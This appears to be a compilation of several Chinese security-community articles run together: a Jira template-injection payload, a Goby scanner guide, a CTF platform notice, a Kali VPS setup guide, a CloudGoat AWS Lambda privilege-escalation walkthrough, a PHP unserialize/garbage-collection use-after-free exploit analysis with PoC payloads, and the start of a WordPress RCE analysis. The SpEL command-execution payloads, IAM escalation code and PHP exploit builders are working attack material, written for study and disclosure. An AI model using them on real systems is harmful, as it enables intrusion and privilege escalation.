#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
基于IOUtils实现回显。
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()
# 后记
这个漏洞是利用Email
Templates功能点，基于Velocity模板引擎。通过补丁对比方法可以找到org.springframework.expression.spel.standard.SpelExpressionParser这个类，寻找loadComponents这个功能函数需要技巧。
# 参考
<https://jira.atlassian.com/browse/JSDSERVER-8665> | 社区文章 |
**前言**
：最近看到好友采用FOFA+Xray组合实现自动挖洞的思路，身为考研选手的我，急了，手中的高等数学瞬间不香了！我寻思着：用Goby联动漏扫他不香吗?不香吗？不香吗？Goby是啥？有了FOFA还用Goby干嘛？Goby可以联动漏扫实现自动挖洞吗？emmm看到好友的疑问三连，我不经陷入沉思，然后百度了下，发现网上介绍Goby的文章也很少，想着马上也要hvv了，于是想写一篇文章来介绍一下我眼中的既能hvv又能联动漏扫挖src的Goby。
## 0x001 我心目中的Goby
毫无疑问当然是：网络空间测绘。
我认为FOFA更多是利用白帽汇的服务器资源帮我们进行一个资产的测绘，从互联网上进行爬取（当然Zwell最近发博好像是苦于爬取到某司后台管理系统所造成的的纠纷，看到这条微博，心里喊着：FOFA牛逼，这都能爬到，放开那管理系统，让我xxxx！）
而相比较FOFA，我认为Goby更多的是利用使用者自己的电脑资源进行一个爬取，与之带来的好处是企业、蓝方也可以对内网的空间进行测绘（如我在学校内网扫学校的B段，扫部分未对公网开放的端口）。
**但是仅仅只是空间测绘，我了解一下企业网络资产就够了？**
## 0x002 食用部分
由于本人在信管处兼职，合法合规的扫描！请大家不要做未授权测试行为！请大家不要做未授权测试行为！请大家不要做未授权测试行为！
**2.1 资产测绘-信息收集**
无论是hvv还是src，厂商一般都会给域名，一般也有B段和C段，而Goby对于这部分的信息收集应有尽有：子域名爆破插件+FOFA插件+C段扫描（妈妈再也不用担心我用L工具爆破子域名，再用N工具扫C段了，再用D工具....）
**我的思路**
：先子域名爆破一波，然后FOFA收集一波，得到的域名和IP，在自己添加B段和C段，直接开整。Goby默认3K的子域名爆破字典，且支持自定义。在线骗一波字典，爽！
> 注：这是去年底在内网扫学校的B段结果。由于是内网，存活也挺多！这里主要是想展示下goby所扫到的：未授权，0708等漏洞。
**2.2 Web视图-手动挡**
由于刚刚资产测绘的同时，基本上把主机漏洞及一些通用漏洞撸顺了一遍。（同时Goby支持自定义POC，基本上那些该有的漏洞都会过了一遍了。）
**我的思路**
：直接切入web视图，web视图的话（手中的“小米范”瞬间不香了）：首选先看网站title，看着好x的先x一下，如管理系统、后台登录系统等。再看下组件，如java
struct 的试试struct 2，也可以看看java组件的请求包里有没有rememberMe（这个可以开发插件解决）。
最后就是把IP端口导出，交给漏扫自动化。当然也可以先导出IP到漏扫里面，然后一边漏扫自动化，一边xxxx！双线程，牛的！
**2.3 配合漏扫工具实现自动化**
我的思路：利用上面导出的结果与漏洞扫描器联动。
1. Xray高级版自动扫！因为如文章开头所说，我同学是FOFA+Xray！
2. Awvs+Xray，或者360的Craw爬虫等！
3. Webhook输出和方糖server酱联动实现微信提醒：“漏洞已到账”很香！
还有很多漏扫的思路，具体网上文章也很多，欢迎大佬们补充。
## 0x003 高级技巧
**3.1 内网横向移动-代理功能**
当红队拿到入口点，内网横向移动的时候，看到网上有的思路是采取msf挂代理扫，其实Goby也可以挂代理扫（自带POC，MS17-010等内网大杀器，以及网站title截图信息手机）。Goby用来做内网横向移动，香！
**3.2 自定义武器库**
Goby支持自定义POC，可以自定义属于自己的武器库，增强攻击力。随着社区人数的增多，多多贡献插件，一键X卫星再也不是梦！（在线等一个一键X卫星的插件，急！）
**3.3 团队协作**
扫描完成之后，扫的结果支持导出导入，避免团队的重复扫描浪费时间。同时可以生成分析报告，并支持PDF、Excel导出，方便本地分析及呈报传阅。
## 0x004 小结
**4.1 红蓝方**
蓝方在前期和红方是一致的，即模拟攻击预演一次。诚然，红方在公网上用Goby扫描到的IP存活远不如蓝方多，但是Goby能够更加清楚全面的对资产进行展示，同时其扫描的数据可以导出，避免团队的重复劳动，又何尝不是个很值得尝试的工具呢！
**分享一下6月初的思路：一个队友负责用Goby扫资产，扫出的结果导出给团队，然后其他人负责分析目标资产，看看网站Title先挑看着软的柿子捏一捏，同时把导出的IP结果导入漏扫碰碰运气（真·碰运气，毕竟公司一般用的商业化的漏扫扫过几轮了）。**
**4.2 SRC**
Hvv一般都是给域名、对应的C段和B段，而各大SRC也差不多。信息收集的部分，网上思路千千万万，用Goby试一下如何？
回到最初的那个点：FOFA+Xray挖洞思路→通过语法从FOFA上面爬取IP，然后交给Xray进行自动化处理。
我的想法：①Goby里面集成了FOFA插件，不仅可以拿到FOFA数据，还可以对目标资产有更清晰的了解，用了什么架构之类的，通过网站截图和Title看看有哪些站点开放，更可以挑几个软柿子手动档试一试②支持子域名爆破插件，同时可自定义域名、IP段扫描③Fofa都是定期扫描，部分是旧数据，非高级会员能通过API爬取的数据也很少（流下穷人家孩子的眼泪），而Goby是作为我自己主动发起的扫描，是实时的，能爬多少数据就有多少数据。④上述操作一键式，都不需要写脚本。
上述操作一顿硬怼，Goby+Xray联动好像比FOFA+Xray更香呢？也许你也在眼红看到Xray
Team各大src上榜，你为什么不能呢？为什么同样别人能Xray自动化扫到漏洞，你却扫不到呢？那是因为别人收集的资产信息比你多比你全。但是为什么别人能收集到很多信息，你却收集不到呢？Goby，一款你值得尝试并且死忠的信息收集工具！
上述是我作为蓝方使用Goby的一点小经验，其实也不全是。但相信无论是蓝方还是红方，或者各大挖洞的表哥，Goby对大家而言是一款很实用的网（信）络（息）空（收）间（集）测绘工具。
写了一手《安全经》送给大家：
“ 国家安全，企业安全，人民安全，
湖北安全，北京安全，大连安全，
你安全，他安全，我安全 ”
文章来自Goby社区成员：Corp0ra1，转载请注明出处。
下载Goby内测版，请关注微信公众号：GobySec
下载Goby正式版，请关注网址：(https://gobies.org) | 社区文章 |
# "潮星"在线CTF平台上线啦
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着计算机网络技术的发展，全球互联网体量急速膨胀，网络安全形势日益严峻。对政府、企业和个人都造成了极大的威胁。各国纷纷颁布网络安全方面的法律法规，但网络安全相关人才的缺失才是其中最主要的问题。
因此，为了提高网络安全人才的技术水平，我们基于CTFd平台，进行了简单的更改，搭建了”潮星“在线CTF平台。
在”潮星“在线CTF平台中，我们加入了大量的题目、丰富的WP，题目从简至难，并且题目持续更新，无论你是新手小白还是ak大佬，让每名CTFer在这里都能找到属于你的答案。
## 0x01 平台地址
http://ctf.tidesec.com/
## 0x02 平台使用说明
”潮星”在线CTF平台基于CTFd搭建，采用“Tide安全团队统一登录认证平台”进行注册登录，登录“Tide安全团队统一登录认证平台”后在增值服务区进入”潮星”在线CTF平台。
”潮星”在线CTF平台现有Web、Misc、Crypto、Reverse、Pwn五大类题目，后期也会持续更新，包括一些大赛的题目，我们后面也会陆续的放在平台上。
## 0x03 意见反馈
平台基于CTFd搭建，对其进行了简单的修改，为了提升大家的使用体验和更好的帮助平台发展，如果各位在使用过程中遇到问题，可以在”Tide安全团队“公众号中进行反馈。
## 0x04 上线活动
平台现有题目ak的大佬免费加入知识星球，可免费使用所有Tide增值服务平台
## 0x05 公告
欢迎使用”潮星“在线CTF平台！
为了保护平台用户的个人信息，给您带来更好的使用体验，请您在使用过程中遵守以下协议：
1\. 注册及表示用户同意此平台的所有协议内容；
2\. 禁止未授权用户对本平台进行攻击；
3\. 请各位选手自觉遵守相关法律法规。 | 社区文章 |
VPS上搭建Kali linux
在真实渗透环境下往往需要一个稳定、安全、可随时操作的环境，公司不能一直开着，而且还有解决公网IP的问题，这时候我们往往需要一台VPS，但是国内的VPS稍贵，而且不能自定义ISO镜像。所以很多购买VPS之后需要一步一步配置自己需要的渗透环境。那么今天我就介绍一款国外很好用的VPS，并且自定义并且快速安装kali
linux。
购买网址： <https://www.vultr.com/>
创建一个账户
账户密码要求 必须至少有10个字符，至少一个小写字母，至少一个大写字母，至少有一个数字；
创建账户完成之后，登录账户；可以跳转到购买服务器的页面
对于购买服务器的地址，建议购买Asia中的Tokyo和Singapore；（减小网络延迟）
自定义ISO ，点击Upload ISO 上传Kali linux URL
可以使用浏览器中的元素审查来找到对应ISO的地址
把找到的地址 复制到上传框中，点击Upload上传
上传成功后会出现对应的ISO文件，选中即可；
选择需要购买服务器的类型，根据自己的需要购买；
选择额外选项
启用IPV6,自动备份（一个月$1），启动DDOS防护，启用私有网络；
接下来输入服务器名和标签 kali
最后点击 Deplay Now 购买即可；
注意如何充值美金到个人账户呢？点击侧边栏中的Billing，选择阿里支付就可以了。你们懂得；（扫描对应的二维码）
上传 购买之后，需要等待启动，当进度条到达100%之后，服务器就可以启动了；
点击View Console 进入kali 界面；
选择第一个，然后查看IP地址
至此一个kali 就完成了。 | 社区文章 |
# CloudGoat云靶机 Part-3：利用AWS Lambda函数提权
|
##### 译文声明
本文是翻译文章，文章原作者 rzepsky，文章来源：medium.com
原文地址：<https://medium.com/@rzepsky/playing-with-cloudgoat-part-3-using-aws-lambda-for-privilege-escalation-and-exploring-a-lightsail-4a48688335fa>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文将描绘当攻击者拥有用户Joe和Bob的访问密钥，但EC2实例停止服务的情形。如果你是第一次阅读本系列文章，你不知道什么是 **CloudGoat**
以及Joe和Bob到底是谁，那么我建议你先阅读本系列的[第一部分](https://www.anquanke.com/post/id/170516)。
## 权限提权
拥有访问密钥后，攻击者首先会检验该账户拥有的权限。在这里，Joe缺少`iam:ListAttachedUserPolicies`和`iam：GetUserPolicy`权限（列出某用户拥有的权限），但幸运的是我们可以使用Bob。
Oooh，可以看到Joe的权限为[`DatabaseAdministrator`](https://console.aws.amazon.com/iam/home#policies/arn:aws:iam::aws:policy/job-function/DatabaseAdministrator)。如果允许我们用该权限创建一个Lambda函数的话，一切将变得简单起来。首先我得了解Joe拥有哪些角色（没有角色，即使创建了新
**Lambda** 函数，也无法执行任何操作），让我们使用以下命令看看分配了哪些角色：
$ aws iam list-roles --profile joe
从输出中，我们可以读到这里实际上有2个角色与 **Lambda** 函数有关：`iam_for_lambda`和`lambda-dynamodb-cloudgoat`。第一个名为`policy_for_lambda_role`的策略，它有助于我们绕过 **CloudTrail**
的监控服务（有关详细信息，请参阅本系列的第二部分）。现在，让我们来看看第二个角色——`lambda-dynamodb-cloudgoat`
好的！可以看到它拥有`iam:AttachRolePolicy`权限，我可以使用Lambda服务将权限升级为管理员权限😎，如此“邪恶”功能似乎很容易实现：
import boto3
def lambda_handler(event, context):
iam = boto3.client("iam")
iam.attach_role_policy(RoleName="lambda-dynamodb-cloudgoat",
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess",)
iam.attach_user_policy(UserName="joe",
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess",)
`DatabaseAdministrator`策略允许创建新的Lambda函数。现在，是时候压缩代码，创建一个新的Lambda函数了：
最后的一步本该是简单地调用函数，然后庆祝提权成功。但遗憾的是……并不允许直接调用😢
办法总有很多，这里我们可以使用事件`*`来调用Lambda
> `*` ——这里插入一点题外话，因为这是适用于所有 **Serverless** 应用的全新攻击向量： **事件注入** 。一般来说，
> **Lambda** 函数是用来处理事件，所以如果可以使事件“丢帧”（例如上传的S3对象的名称）并且后续未正确验证，那么就可以强制 **Lambda**
> 执行我们的代码。我现在不想详细介绍，因为这不适用于 **CloudGoat**
> 场景，但是如果你是这种类型的攻击的新手，我建议你先观看一个[简短的视频展示](https://www.youtube.com/watch?v=M7wUanfWs1c)，看看这个简单的例子[上传文件名中的SQLi](https://www.jeremydaly.com/event-> injection-protecting-your-serverless-> applications/)或这个[更”真实“的例子](https://www.youtube.com/watch?v=TcN7wHuroVw)。
现在，我们回到本文的场景。[这里](https://docs.aws.amazon.com/zh_cn/lambda/latest/dg/invoking-lambda-function.html)有Lambda支持的事件源列表。这里，我们选取`Amazon
DynamoDB`事件。查看[用户Joe权限](https://console.aws.amazon.com/iam/home?#/policies/arn:aws:iam::aws:policy/job-function/DatabaseAdministrator%24serviceLevelSummary)，允许将新的Lambda函数与`DynamoDB`表连接起来
–
换句话说，我可以配置一个新的Lambda函数，在`DynamoDB`表中创建新条目，就可以实现调用该函数。这可能听起来很奇怪，请看下面这个例子。让我们尝试使用以下命令创建一个名为`rzepsky_table`的表来简单地测试：
$ aws dynamodb create-table --table-name rzepsky_table --attribute-definitions AttributeName=Test,AttributeType=S --key-schema AttributeName=Test,KeyType=HASH --provisioned-throughput ReadCapacityUnits=3,WriteCapacityUnits=3 --stream-specification StreamEnabled=true,StreamViewType=NEW_IMAGE --query TableDescription.LatestStreamArn --profile joe
简单解释一下，上述命令创建了一个只有一列`Test`用于存储字符串（`S`）的新表。在`--key-schema`中，我给`Test`指定了主键。然后，我使用了参数`provisioned-throughput`和启用了`DynamoDB
Stream`流。
好的，它的确起作用了🤓
只要我创建一个事件源，就可以将新的`DynamoDB`表与之前创建的Lambda函数链接起来：
Emm…这也有效！最后，我们只需在表中添加一个新条目就可以触发Lambda函数了。使用以下命令：
$ aws dynamodb put-item --table-name rzepsky_table --item Test='{S=”Rzepsky”}' --profile joe
如果一切顺利，这个事件会调用Lambda函数，并且将管理员权限策略附加给用户Joe。现在，让我们验证一下Joe的权限：
非常棒！我们提权成功了。
## 初窥 AWS LightSail
**LightSail**
服务为云用户提供云计算，存储和网络。换句话说，您可以快速获得各种操作系统，应用程序和堆栈，以便您可以构建模板。LightSail的目标是为用户提供EC2的简化版本，因此你无需了解EBS，VPC和Route
53的使用细节 – 你只需要获得一个简单，轻量级的VPS。便捷通常伴随着风险，LightSail的简单性会降低安全性吗？让我们开始探究LightSail。
在EC2实例中，不允许直接下载SSH密钥来获取实例的shell。但是，在LightSail中，情况有所不同。首先，LightSail的用户允许使用“默认密钥”，可以使用以下命令检索：
$ aws lightsail download-default-key-pair
让我们看看 **CloudGoat** 靶机中的LightSail项目的密钥信息：
$ aws lightsail get-instance-access-details --instance-name cloudgoat_ls --profile joe
我们简单地获得临时ssh密钥，这在LightSail中这不是什么问题。从输出中我们可以读到LightSail实例使用的是`cloudgoat_key_pair`：
重要的一点，如果我们拥有AWS控制台管理访问权限（比如我将joe的权限升级为管理员，这是可能的），那么可以直接从浏览器访问shell！只需点击终端的小图标：
## 结束语
在本文，我们介绍了使用Amazon提供的`DatabaseAdministrator`策略，结合具有Lambda宽权限的角色，实现权限提升的过程。管理
**IAM** 权限并非易事，特别是如果你具有复杂的体系结构和众多的用户。一个有效的工具可以帮助你实现权限最小化分配——[Netflix
Repokid](https://github.com/Netflix/repokid)。
后面我们将继续探讨了 **LightSail** 服务的一些” **features** “。不要误解我的意思
，我不是认为它不安全，我们要做的是恰当地控制连接权限。在权限策略中分配通配符时，请注意这些“ **features** ”😉
在下一篇文章中，我将介绍另一个 **CloudGoat** 的场景，感谢观看。 | 社区文章 |
# 如何攻破PHP的垃圾回收和反序列化机制（下）
|
##### 译文声明
本文是翻译文章，文章来源：evonide.com
原文地址：<https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[如何攻破PHP的垃圾回收和反序列化机制（上）](https://www.anquanke.com/post/id/149421)
在上篇文章中，我们针对“为什么外部数组完全被释放？”这一问题进行了详尽的分析，最终证明，造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。我们将该漏洞称为“双递减漏洞”，漏洞报告如下（CVE-2016-5771）：
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771> 。
然而，由于在不经过对反序列化进行调整的前提下，我们无法触发这一漏洞，因此还不能仅凭借此漏洞来实现远程代码执行。
本篇文章中将继续进行探究和分析，最终得出结论，并给出完整的漏洞利用方法。
## 4 解决远程利用问题
现在，我们仍然需要回答开头提出的剩下两个问题。其中之一是，是否有必要手动调用gc_collect_cycles？
### 4.1 在反序列化过程中触发垃圾回收机制
我们在思考，是否能够首先触发垃圾回收机制。如前所述，有一种方法可以自动调用垃圾回收进程，该进程将会超出具有潜在根元素的垃圾回收缓冲区。我发现了如下简单的技巧。
//Triggering GC during unserialization
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
$trigger_gc_serialized_string = 'a:'.(NUM_TRIGGER_GC_ELEMENTS).':{'.$overflow_gc_buffer.'}';
unserialize($trigger_gc_serialized_string);
通过在gdb中检查上述内容，我们看到gc_collect_cycles确实被调用了。由于反序列化过程允许一遍又一遍地传递相同的索引（在此例中索引为0），所以这一技巧能够成功。一旦重新使用数组的索引，旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update，它将调用旧元素的析构函数（Destructor）。
每当zval被销毁时，都会涉及到垃圾回收算法。这也就意味着，所有创建的数组都会开始填充垃圾缓冲区，直至超出其空间导致对gc_collect_cycles的调用。
上述情况对漏洞利用来说无疑是好消息，目标系统不再需要手动调用垃圾回收过程。但是，还有一些新问题随之出现，事情变得更加棘手。
### 4.2 解决反序列化问题
就算我们能够在反序列化过程中调用垃圾回收，双递减漏洞是否仍然能在反序列化上下文中有效呢？经过测试，我们发现答案是否定的，其原因在于反序列化期间所有元素的引用计数器值都大于完成后的值。特别是，反序列化过程会跟踪所有未序列化的元素，以允许设置引用。全部条目都存储在列表var_hash中。一旦反序列化过程即将完成，就会破坏函数var_destroy中的条目。
我们举例说明此问题：
$reference_count_test = unserialize('a:2:{i:0;i:1337;i:1;r:2;}');
debug_zval_dump($reference_count_test);
/*
Result:
array(2) refcount(2){
[0]=>
long(1337) refcount(2)
[1]=>
long(1337) refcount(2)
}
*/
反序列化完成后，1337整数zval的引用计数器为2。如果我们在反序列化终止之前设置一个断点（例如，在返回之前调用var_destroy的位置）并转储var_hash的内容，将可以看到以下的引用计数：
[0x109e820] (refcount=2) array(2): {
0 => [0x109cf70] (refcount=4) long: 1337
1 => [0x109cf70] (refcount=4) long: 1337
}
我们此前分析过的双递减漏洞允许我们将特定元素的引用计数减少两次。但根据上述内容，我们发现，针对每个在特定元素上的附加引用，我们必须让引用计数增加2。
就在陷入瓶颈的过程中，我突然想到：ArrayObject的反序列化函数接受对另一个数组的引用，以用于初始化的目的。这也就意味着，一旦我们对一个ArrayObject进行反序列化后，就可以引用任何之前已经被反序列化过的数组。此外，这还将允许我们将整个哈希表中的所有条目递减两次。具体步骤如下：
1、得到一个应被释放的目标zval X；
2、创建一个数组Y，其中包含几处对zval X的引用：array(ref_to_X, ref_to_X, […], ref_to_X)；
3、创建一个ArrayObject，它将使用数组Y的内容进行初始化，因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤，我们可以操纵标记算法，对数组Y中的所有引用实现两次访问。但是，在反序列化过程中创建引用将会导致引用计数器增加2，所以还要找到解决方案：
4、使用与步骤3相同的方法，额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject，它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减，可以将该方法用于对任意目标zval的引用计数器实现清零。
由于这些ArrayObject用于对目标引用计数器实现递减，所以我们将其称为“DecrementorObject”。
尽管现在已经能够清零任意目标zval的引用计数器，但垃圾回收算法依然没有释放……
### 4.3 破坏引用计数器递减的证据
经过大量调试后，我发现此前的步骤存在一个关键问题。我此前一直认为，如果一个节点被标记为白色，那么它一定会被释放。然而事实证明，即使一个节点被标记为白色，它后续也可能再次被标记为黑色。
请认真考虑如下步骤进行后所发生的情况：
1、gc_mark_roots和zval_mark_grey将我们的目标zval引用计数改为0；
2、垃圾回收机制将执行gc_scan_roots，从而确认哪些zval可以被标记为白色，哪些应该被标记为黑色；（在这一步中，由于其引用计数为0，我们的目标zval被标记为白色）
3、一旦这个函数访问DecrementorObject，就会检测到其引用计数大于0，并将其自身及子项全都标记为黑色，然而我们的目标zval也是其中的一个子项，因此目标zval将再次被标记为黑色。
总而言之，我们需要消除掉递减的“证据”。特别是，我们需要确保在zval_mark_grey完成后，DecremtorObject的引用计数器也变为0。经过进一步思考，我提出了如下解决方案：
array( ref_to_X, ref_to_X, DecrementorObject, DecrementorObject)
----- ------------------------------------ /* | |
target_zval each one is initialized with the
X contents of array X
*/
该方案的好处在于，DecrementorObject现在也会减少其自身的引用计数。这将有助于帮我们实现一种状态，在gc_mark_roots访问完所有zval后，使目标数组及其所有子节点的引用计数为0。按照这种思路，我们的示例如下：
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Overflow the GC buffer.
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
// The decrementor_object will be initialized with the contents of our target array ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// The following references will point to the $free_me array (id=3) within unserialize.
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Setup our target array i.e. an array that is supposed to be freed during unserialization.
$free_me = 'a:7:{'.$target_references.'i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.'}';
// Increment each decrementor_object reference count by 2.
$adjust_rcs = 'i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;}';
// Trigger the GC and free our target array.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Add our GC trigger and add a reference to the target array.
$payload = 'a:2:{'.$trigger_gc.'i:0;r:3;}';
var_dump(unserialize($payload));
/*
Result:
array(1) {
[0]=>
int(140531288870456)
}
*/
如你所见，现在不再需要手动调用gc_collect_roots。并且其结果表明，我们的目标数组（例如$free_me）被释放，并且还发生了一些其他奇怪的事情，最终我们能够得到一个堆地址。
发生这种情况的原因是：
1、触发垃圾回收机制，目标数组将被释放，然后垃圾回收终止，并将控制权交回反序列化过程。
2、释放的空间被将要定义的下一个zval覆盖。
在这里请注意，我们通过使用许多连续的“i:0;a:0:{}”来触发垃圾回收。因此，一旦某个特定元素触发了垃圾回收机制，在此之后将要创建的下一个zval是“i:0;”，这是将要定义的下一个数组的索引整数。换而言之，我们有一个字符串，例如“[…]i:0;a:0:{}
X i:0;a:0:{} X i:0;a:0:{}[…]”，其中垃圾回收机制在任意X处触发，之后反序列化过程将继续反序列化填充先前释放空间的数据。
3、因此，我们释放的空间就会临时包含这个整数zval。当反序列化即将结束时，会调用var_destroy，然后释放这个整数元素。内存管理器将使用最后一个释放的空间的地址覆盖这个释放的空间的第一个字节。但是，上一个zval的类型（即整型）将会保留。
因此，我们最终看到了一个堆地址。要理解这个过程可能会很复杂，但最重要的是大家要理解垃圾回收机制出发的位置，以及这一过程中会生成新的值来填充已释放空间的位置。
现在，我们在上述基础上，来关注如何对释放的空间进行控制。
### 4.4 控制释放后的空间
控制释放后空间的标准过程是用假的zval对其进行填充。通过使用悬挂指针，我们可以实现一些事情，例如泄露内存，或是控制CPU的指令指针。
为了利用释放后的空间，我们首先必须进行一些调整：
1、必须释放多个变量，以便我们可以用假zval字符串的内容填充其中一个释放后的空间，而不是用假zval字符串的zval填充释放的空间。
2、在使用假zval字符串的zval填充释放后空间之后，我们必须使这些释放空间“稳定”。如果忽略了这一步，反序列化过程会释放我们的假zval字符串，也就破坏了我们的假zval。
3、必须确保释放后的空间和我们创建的假zval字符串正确对其。此外，我们必须确保一旦垃圾回收机制完成后，释放后空间要立即被假zval字符串填充。为了实现这一目的，我想出了一个“三明治”技术。
针对“三明治”技术，我们不会在本文中详细讨论，只提供如下PoC：
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Create a fake zval string which will fill our freed space later on.
$fake_zval_string = pack("Q", 1337).pack("Q", 0).str_repeat("x01", 8);
$encoded_string = str_replace("%", "\", urlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';
// Create a sandwich like structure:
// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE
$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
}
// The decrementor_object will be initialized with the contents of our target array ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// The following references will point to the $free_me array (id=3) within unserialize.
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Setup our target array i.e. an array that is supposed to be freed during unserialization.
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
// Increment each decrementor_object reference count by 2.
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
// Trigger the GC and free our target array.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Add our GC trigger and add a reference to the target array.
$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';
$a = unserialize($payload);
var_dump($a);
/*
Result:
array(5) {
[...]
[4]=>
int(1337)
}
*/
最终，我们可以手工创建一个整型变量。
此时，我们准备的Payload已经可以用于远程漏洞利用。需要特别提出的是，这里的Payload还有一些可优化的空间。例如，通过对最后20%连续的“i:0;a:0:{}”元素应用“三明治”技术，可以进一步减少Payload的大小。
## 5 ZipArchive类UAF漏洞
我们发现的另一个漏洞是CVE-2016-5773（ <https://bugs.php.net/bug.php?id=72434> ；
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5773>
）。该漏洞的成因在于一个类似的问题，在ZipArchive类中遗漏了一个垃圾回收函数。然而，该漏洞的利用与我们此前讨论的漏洞则完全不同。
我们前文曾说过：由于zval引用计数器的暂时递减，可能会导致一些影响（例如：对已经递减的引用计数器再次进行检查，或对其进行其他操作），从而造成严重后果。
而这里正是这一问题可以被滥用的具体场景。首先通过标记算法使引用计数器出现问题，然后调用php_zip_get_properties（而不是调用一个有效的垃圾回收函数），我们就可以释放一个特定的元素。
该漏洞的PoC如下：
$serialized_string = 'a:1:{i:0;a:3:{i:1;N;i:2;O:10:"ZipArchive":1:{s:8:"filename";i:1337;}i:1;R:5;}}';
$array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($array[0]);
/*
Result:
array(2) {
[1]=>
string(4) "bbbb"
[...]
*/
需要注意的是，在正常情况下，设置对尚未反序列化的zval的引用是不可能实现的。这一漏洞的Payload利用了一个小技巧来绕过这个限制：
[...] i:1;N; [...] s:8:"filename";i:1337; [...] i:1;R:REF_TO_FILENAME; [...]
Payload首先会创建一个带有索引1的NULL条目，随后使用对文件名的引用来覆盖此条目。垃圾回收机制将只能看到“i:1;REF_TO_FILENAME;
[…] s:8:”filename”;i:1337;
[…]”。这个技巧是非常必要的，因为我们需要确保“文件名”整数zval的引用计数器在产生影响之前已经被修改。
## 6 结论
发现远程漏洞利用的相关漏洞是一项非常艰巨的任务。正如大家所见到的，每当我解决了一个问题之后，就又有一个新问题出现在面前。在这篇文章中，我们采用了一种能够解决高复杂度问题的方法，逐一攻破难点，最终实现了目标。
此外，我们发现两个完全无关的PHP组件反序列化和垃圾回收具有相互作用，这个发现是非常有趣的。在这次研究中，我亲自分析了这些组件的行为，并从中收获了不少乐趣。在这里，我建议各位读者也可以复现本文的全部或部分过程，以对这些漏洞有更深的体会。
在这里，我们已经对反序列化进行了利用。但是，至少对于本地开发而言，是否使用反序列化是可以选择的。我们在这里所发现的漏洞与在早期PHP版本中发现的低技术含量反序列化问题是完全不同的。但其防范方法都是一样：开发者不应使用用户输入的反序列化，应选用JSON这样不太复杂的序列化方法。
最后，通过本文的概念证明以及对其中一个漏洞的实际利用，我们发现了pornhub.com的远程代码执行安全问题。这一安全问题也佐证了PHP的垃圾回收机制是一个非常有趣的攻击面。
审核人：yiwang 编辑：少爷 | 社区文章 |
# 【漏洞分析】WordPress 4.6 远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**传送门**
[**【漏洞预警】WordPress <4.7.1
远程代码执行漏洞（非插件无需认证，附Poc,演示视频）**](http://bobao.360.cn/news/detail/4146.html)
**0x00 漏洞概述**
**WordPress 4.6
版本远程代码执行漏洞是一个非常严重的漏洞，未经授权的攻击者利用该漏洞就能实现远程代码执行，针对目标服务器实现即时访问，最终导致目标应用服务器的完全陷落。**
无需插件或者非标准设置，就能利用该漏洞。Dawid Golunski ([
**@dawid_golunski**](https://twitter.com/dawid_golunski)) 还在poc中为我们展示了精彩的替换 ／
和 “ ”(表示空格)的技巧。
**0x01 漏洞分析**
